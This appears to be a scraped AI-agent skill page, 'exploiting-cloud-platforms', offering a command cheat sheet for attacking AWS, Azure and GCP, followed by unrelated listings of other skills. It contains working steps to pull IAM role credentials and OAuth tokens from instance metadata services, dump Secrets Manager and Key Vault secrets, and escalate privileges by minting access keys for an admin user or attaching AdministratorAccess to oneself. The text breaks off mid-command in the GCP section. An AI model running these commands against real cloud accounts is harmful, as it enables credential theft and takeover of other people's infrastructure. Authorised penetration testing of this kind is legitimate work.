exploiting-cloud-platforms
Exploit AWS, Azure, and GCP cloud misconfigurations including S3 buckets, IAM roles, metadata services, serverless functions, and cloud-specific privilege escalation. Use when pentesting cloud environments or assessing cloud security.
What this skill does
# Exploiting Cloud Platforms ## When to Use - AWS, Azure, or GCP security assessment - Cloud misconfiguration exploitation - S3/Blob/Storage bucket hunting - Cloud IAM privilege escalation - Serverless function exploitation - Cloud metadata service abuse ## AWS Security ### AWS CLI Setup ```bash # Configure credentials aws configure # Or export directly export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY export AWS_DEFAULT_REGION=us-east-1 # Test credentials aws sts get-caller-identity # List available regions aws ec2 describe-regions ``` ### S3 Bucket Enumeration ```bash # List buckets aws s3 ls # List bucket contents aws s3 ls s3://bucket-name/ aws s3 ls s3://bucket-name/ --recursive # Download bucket contents aws s3 sync s3://bucket-name/ ./local-folder/ # Check public access aws s3api get-bucket-acl --bucket bucket-name aws s3api get-bucket-policy --bucket bucket-name # Test unauthenticated access aws s3 ls s3://bucket-name/ --no-sign-request curl https://bucket-name.s3.amazonaws.com/ ``` **S3 Bucket Discovery:** ```bash # Common naming patterns company-backup company-data company-dev company-prod company-logs company-assets # Tools # s3scanner python3 s3scanner.py buckets.txt # S3 Inspector python3 s3inspector.py --bucket-file buckets.txt ``` ### IAM Enumeration ```bash # Current user info aws sts get-caller-identity # List IAM users (if allowed) aws iam list-users # List user policies aws iam list-attached-user-policies --user-name username aws iam list-user-policies --user-name username # Get policy details aws iam get-policy --policy-arn arn:aws:iam::aws:policy/PolicyName aws iam get-policy-version --policy-arn arn --version-id v1 # List roles aws iam list-roles # List groups aws iam list-groups ``` ### EC2 Enumeration ```bash # List instances aws ec2 describe-instances # Get instance metadata (from instance) curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name # List security groups aws ec2 describe-security-groups # List key pairs aws ec2 describe-key-pairs # List snapshots aws ec2 describe-snapshots --owner-ids self # Public snapshots by account aws ec2 describe-snapshots --owner-ids 123456789012 --restorable-by-user-ids all ``` ### Lambda Functions ```bash # List functions aws lambda list-functions # Get function code aws lambda get-function --function-name function-name # Invoke function aws lambda invoke --function-name function-name output.txt # Get function configuration aws lambda get-function-configuration --function-name function-name ``` ### RDS Enumeration ```bash # List DB instances aws rds describe-db-instances # List DB snapshots aws rds describe-db-snapshots # Check if publicly accessible aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,PubliclyAccessible]' ``` ### Secrets Manager ```bash # List secrets aws secretsmanager list-secrets # Get secret value aws secretsmanager get-secret-value --secret-id secret-name ``` ### CloudTrail (Logging) ```bash # Check if CloudTrail is enabled aws cloudtrail describe-trails # Check trail status aws cloudtrail get-trail-status --name trail-name # Get recent events aws cloudtrail lookup-events ``` ### AWS Privilege Escalation **Common Misconfigurations:** ```bash # iam:CreatePolicyVersion - modify existing policies # iam:SetDefaultPolicyVersion - set older policy version # iam:PassRole + lambda:CreateFunction - execute code as role # iam:AttachUserPolicy - attach admin policy to self # iam:PutUserPolicy - add inline policy to self # iam:CreateAccessKey - create keys for other users # iam:UpdateAssumeRolePolicy - modify trust relationships ``` **Exploitation Examples:** ```bash # Create access key for admin user (if iam:CreateAccessKey) aws iam create-access-key --user-name admin-user # Attach admin policy (if iam:AttachUserPolicy) aws iam attach-user-policy --user-name current-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess # PassRole + Lambda aws lambda create-function --function-name evil --runtime python3.9 --role arn:aws:iam::ACCOUNT:role/AdminRole --handler lambda_function.lambda_handler --zip-file fileb://function.zip aws lambda invoke --function-name evil output.txt ``` ## Azure Security ### Azure CLI Setup ```bash # Login az login # Login with service principal az login --service-principal -u APP_ID -p PASSWORD --tenant TENANT_ID # Get current account az account show # List subscriptions az account list ``` ### Blob Storage Enumeration ```bash # List storage accounts az storage account list # List containers az storage container list --account-name accountname # List blobs az storage blob list --container-name containername --account-name accountname # Download blob az storage blob download --container-name containername --name filename --account-name accountname # Check public access az storage container show --name containername --account-name accountname # Test unauthenticated access curl https://accountname.blob.core.windows.net/container/file ``` **Blob Discovery:** ```bash # Common patterns companyname companyname-backup companyname-data companyname-files # MicroBurst (PowerShell) Invoke-EnumerateAzureBlobs -Base company ``` ### VM Enumeration ```bash # List VMs az vm list # List VM images az vm image list # Get VM details az vm show --resource-group RG --name VMname # List NICs az network nic list # List public IPs az network public-ip list ``` ### Azure AD Enumeration ```bash # List users az ad user list # Get current user az ad signed-in-user show # List groups az ad group list # List service principals az ad sp list # List applications az ad app list ``` ### Function Apps ```bash # List function apps az functionapp list # Get function app details az functionapp show --name functionappname --resource-group RG # List functions az functionapp function list --name functionappname --resource-group RG # Download function code az functionapp deployment source config-zip --name functionappname --resource-group RG ``` ### Key Vault ```bash # List key vaults az keyvault list # List secrets az keyvault secret list --vault-name vaultname # Get secret az keyvault secret show --name secretname --vault-name vaultname ``` ### Azure Metadata Service ```bash # From Azure VM curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Get access token curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" ``` ## GCP Security ### gcloud Setup ```bash # Login gcloud auth login # Login with service account gcloud auth activate-service-account --key-file=key.json # Get current account gcloud config list # List projects gcloud projects list ``` ### Storage Bucket Enumeration ```bash # List buckets gsutil ls # List bucket contents gsutil ls gs://bucket-name/ # Download files gsutil cp gs://bucket-name/file.txt ./ # Check bucket permissions gsutil iam get gs://bucket-name/ # Test unauthenticated access curl https://storage.googleapis.com/bucket-name/file.txt ``` **Bucket Discovery:** ```bash # Common patterns company-backup company-data company_backup company_data # GCPBucketBrute python3 gcpbucketbrute.py -k company ``` ### Compute Engine ```bash # List instances gcloud compute instances list # Get instance details gcloud compute instances describe instance-name --zone=zone # List disks gcloud compute disks list # List snapshots gcloud compute snapshots list # List firewall rules gcloud compute firewall-rules list ``` ### IAM Enumeration ```bash # List service accounts gcloud iam service-accounts list # Get IAM policy gcloud projects get-iam-policy PROJECT_ID # List roles gcloud iam roles list # Describe role gcloud iam roles
Related in Cloud & DevOps
appbuilder-action-scaffolder
IncludedCreate, implement, deploy, and debug Adobe Runtime actions with consistent layout, validation, and error handling. Use this skill whenever the user needs to add actions to an App Builder project, understand action structure (params, response format, web/raw actions), configure actions in the manifest, use App Builder SDKs (State, Files, Events, database), deploy and invoke actions via CLI, debug action issues, or implement patterns such as webhook receivers, custom event providers, journaling consumers, large payload redirects, action sequence pipelines, and Asset Compute workers. Also trigger when users mention serverless functions in Adobe context, action logging, IMS authentication for actions, or cron-style scheduled actions.
orchestrating-datacloud
IncludedSalesforce Data Cloud product orchestrator for connect→prepare→harmonize→segment→act workflows. Use this skill when the user needs a multi-step Data Cloud pipeline, cross-phase troubleshooting, or data space and data kit management. TRIGGER when: user needs a multi-step Data Cloud pipeline, asks to set up or troubleshoot Data Cloud across phases, manages data spaces or data kits, or wants a cross-phase sf data360 workflow. DO NOT TRIGGER when: work is isolated to a single phase (use the matching phase-specific skill), the task is STDM/session tracing/parquet telemetry (use observing-agentforce), standard CRM SOQL (use querying-soql), or Apex implementation (use generating-apex).
github-project-automation
IncludedAutomate GitHub repository setup with CI/CD workflows, issue templates, Dependabot, and CodeQL security scanning. Includes 12 production-tested workflows and prevents 18 errors: YAML syntax, action pinning, and configuration. Use when: setting up GitHub Actions CI/CD, creating issue/PR templates, enabling Dependabot or CodeQL scanning, deploying to Cloudflare Workers, implementing matrix testing, or troubleshooting YAML indentation, action version pinning, secrets syntax, runner versions, or CodeQL configuration. Keywords: github actions, github workflow, ci/cd, issue templates, pull request templates, dependabot, codeql, security scanning, yaml syntax, github automation, repository setup, workflow templates, github actions matrix, secrets management, branch protection, codeowners, github projects, continuous integration, continuous deployment, workflow syntax error, action version pinning, runner version, github context, yaml indentation error
sf-datacloud
IncludedSalesforce Data Cloud product orchestrator for connect→prepare→harmonize→segment→act workflows. TRIGGER when: user needs a multi-step Data Cloud pipeline, asks to set up or troubleshoot Data Cloud across phases, manages data spaces or data kits, or wants a cross-phase `sf data360` workflow. DO NOT TRIGGER when: work is isolated to a single phase (use the matching sf-datacloud-* skill), the task is STDM/session tracing/parquet telemetry (use sf-ai-agentforce-observability), standard CRM SOQL (use sf-soql), or Apex implementation (use sf-apex).
fabric-cli
IncludedUse this skill for Fabric.so CLI workflows with the `fabric` terminal command: diagnose/install/login, search or browse a Fabric library, save notes/links/files, create folders, ask the Fabric AI assistant, manage tasks/workspaces, generate shell completion, check subscription usage, produce JSON output, and use Fabric as persistent agent memory. Do not use for Microsoft Fabric/Azure/Power BI `fab`, Daniel Miessler's Fabric framework, Python Fabric SSH, Fabric.js, or textile/fashion fabric.
lark
IncludedLark/Feishu CLI skills: lark-cli operations for docs, markdown, sheets, base, calendar, im, mail, task, okr, drive, wiki, slides, whiteboard, apps, approval, attendance, contact, vc, minutes, event. Use when the user needs to operate Lark/Feishu resources via lark-cli, send messages, manage documents, spreadsheets, calendars, tasks, OKRs, deploy web pages, or any Feishu/Lark workspace operations.